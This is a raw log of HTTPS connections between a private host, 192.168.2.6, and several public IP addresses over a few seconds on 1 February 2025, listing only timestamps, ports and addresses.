Feb 1, 2025 21:59:24.616662979 CET	443	49936	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.618664980 CET	49936	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.618688107 CET	443	49936	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.619081020 CET	443	49936	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.619080067 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.619160891 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.619283915 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.619805098 CET	49881	443	192.168.2.6	2.19.126.152
Feb 1, 2025 21:59:24.619868994 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:24.619929075 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:24.619971991 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:24.619990110 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.619991064 CET	49881	443	192.168.2.6	2.19.126.152
Feb 1, 2025 21:59:24.620038986 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:24.620069027 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.620203972 CET	49935	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.620558023 CET	49936	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.620604992 CET	443	49936	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.620624065 CET	49936	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.620646000 CET	49936	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.620713949 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:24.620788097 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:24.620846033 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:24.621395111 CET	49938	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.622195005 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.622225046 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.622354031 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.622935057 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.622941971 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.623409986 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.623426914 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.626147985 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626152992 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.626507998 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626518011 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.626636028 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626645088 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.626686096 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626692057 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.626770020 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626779079 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626790047 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.626799107 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626857996 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.626878977 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.626980066 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.630482912 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.630490065 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631228924 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631236076 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631246090 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631273031 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631293058 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631339073 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631346941 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631562948 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631568909 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631678104 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631684065 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631690979 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631694078 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631742954 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631750107 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631757021 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631761074 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.631774902 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.631778955 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.663331032 CET	443	49935	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.663355112 CET	443	49938	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.669075966 CET	443	49935	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.669181108 CET	49935	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.881248951 CET	443	49938	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.881412983 CET	443	49938	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.881465912 CET	49938	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.881503105 CET	49938	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.998713017 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.998766899 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.998835087 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.999142885 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:24.999166965 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.105815887 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.106137991 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:25.106165886 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.106517076 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.107614040 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:25.107686996 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.107976913 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:25.151340961 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.245100021 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.245192051 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.245281935 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:25.245398998 CET	49939	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:25.245415926 CET	443	49939	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:25.423527956 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:25.423584938 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:25.423732042 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:25.423902988 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:25.423923969 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:25.427186012 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:25.427225113 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:25.427644014 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:25.428039074 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:25.428046942 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:25.498622894 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:25.498663902 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:25.498745918 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:25.499171972 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:25.499185085 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:25.645936966 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.645996094 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.646428108 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.646441936 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.648550987 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.648566008 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.648626089 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.648649931 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.648752928 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.648772955 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.648874998 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.648901939 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.882546902 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:25.882592916 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:25.882677078 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:25.882961035 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:25.883007050 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:25.883183002 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:25.883368969 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:25.883388996 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:25.883763075 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:25.883781910 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:25.977526903 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.977617979 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:25.977688074 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.978446960 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:25.978465080 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.004041910 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.004369974 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:26.004379034 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.005467892 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.005569935 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:26.006721020 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:26.006773949 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.007163048 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:26.007170916 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.027756929 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.027791977 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.027884960 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.028419971 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.028430939 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.051841021 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.051878929 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.051942110 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.052084923 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.052102089 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.052172899 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.052676916 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.052695036 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.052906036 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.052917004 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.061058998 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.061553001 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.061583042 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.063106060 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.063196898 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.064027071 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.064116001 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.064179897 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.111335993 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.122503042 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.122529984 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.143856049 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:26.174679041 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.175087929 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.175332069 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:26.175973892 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.176141977 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.176541090 CET	49950	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:26.176557064 CET	443	49950	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:26.178389072 CET	49951	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.178405046 CET	443	49951	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.181138039 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.181180000 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.181317091 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.181579113 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.181596994 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.208796978 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.209553003 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.209588051 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.210851908 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.210943937 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.212625027 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.212707996 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.213490009 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.213509083 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.213545084 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.213596106 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.328560114 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.341146946 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.346535921 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.346558094 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.347081900 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.377252102 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.379993916 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.380177975 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.380685091 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.380712032 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.381752968 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.391129017 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.391273975 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.441905975 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.441987038 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.443304062 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.443728924 CET	49949	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:26.443748951 CET	443	49949	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:26.520951986 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.527944088 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.529134035 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.529136896 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.568725109 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.568753004 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.569319010 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.569622993 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.569645882 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.571212053 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.576636076 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.576760054 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.576773882 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.577079058 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.700645924 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.705005884 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:26.705038071 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:26.705127954 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:26.705436945 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:26.705451965 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:26.706331968 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:26.706393003 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:26.706542015 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:26.707623005 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:26.707643986 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:26.708787918 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:26.708820105 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:26.708878040 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:26.708986044 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:26.708995104 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:26.709049940 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:26.710088015 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:26.710119963 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:26.710187912 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:26.710722923 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:26.710733891 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:26.710871935 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:26.710884094 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:26.711160898 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:26.711185932 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:26.711242914 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:26.711522102 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:26.711534977 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:26.711884975 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:26.711899996 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:26.714673996 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.714751959 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.714818954 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.716269970 CET	49947	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.716298103 CET	443	49947	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.718877077 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.718969107 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.719557047 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.719571114 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721177101 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721182108 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721220970 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721229076 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721247911 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721251965 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721287012 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721291065 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721326113 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721334934 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721384048 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721402884 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721416950 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721424103 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721440077 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721446991 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721576929 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721596956 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721625090 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721632004 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721647978 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721654892 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721699953 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721713066 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721759081 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721764088 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721802950 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721812010 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721822977 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721832037 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721834898 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721844912 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721887112 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721894026 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721913099 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721919060 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.721952915 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.721961021 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.722014904 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.722037077 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.722053051 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.722065926 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.722070932 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:26.722074032 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:26.732630014 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.759699106 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.761640072 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.761652946 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.762151957 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.762844086 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.762934923 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.763278008 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.807339907 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.835576057 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:26.835597038 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:26.835954905 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:26.847948074 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:26.847960949 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:26.872553110 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.872629881 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:26.872694969 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.952580929 CET	49969	443	192.168.2.6	108.139.47.108
Feb 1, 2025 21:59:26.952604055 CET	443	49969	108.139.47.108	192.168.2.6
Feb 1, 2025 21:59:27.099188089 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.099236965 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.099497080 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.101301908 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.101319075 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.114315033 CET	49995	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.114362955 CET	443	49995	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.114603996 CET	49995	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.118282080 CET	49995	443	192.168.2.6	20.189.173.8
